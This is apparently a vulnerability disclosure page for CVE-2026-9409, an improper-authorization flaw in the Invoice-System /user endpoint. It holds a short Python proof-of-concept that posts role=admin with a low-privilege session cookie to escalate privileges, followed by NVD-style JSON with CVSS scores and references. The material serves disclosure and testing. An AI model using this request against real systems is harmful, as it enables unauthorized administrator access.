CVE-2026-9409

# PoC for CVE-2026-9409 import requests def check_privilege_escalation(url, session_cookie): """ Attempts to escalate privileges by manipulating the 'role' parameter. """ target_endpoint = f"{url}/user" headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"session={session_cookie}" } # Payload attempting to change role to administrator payload = { "username": "current_user", "role": "admin" } try: response = requests.post(target_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200 and "admin" in response.text: print("[+] Potential Privilege Escalation Successful!") print(f"[+] Response: {response.text[:200]}") else: print("[-] Exploit failed or payload not effective.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost:8000" session = "low_priv_user_session_token" check_privilege_escalation(target, session)

{"cve": {"id": "CVE-2026-9409", "sourceIdentifier": "[email protected]", "published": "2026-05-25T02:16:56.487", "lastModified": "2026-05-25T02:16:56.487", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Sushmi-pal Invoice-System up to a0a3faa16dee2621b231ae227333f5761607283b. This affects an unknown part of the file /user of the component User Management Handler. This manipulation of the argument role causes improper authorization. It is possible to initiate the attack remotely. The exploit has been published and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://gist.github.com/c4ttr4ck/c891dd0fa550e910a1724cbd96d93a80", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813605", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365390", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365390/cti", "source": "[email protected]"}]}}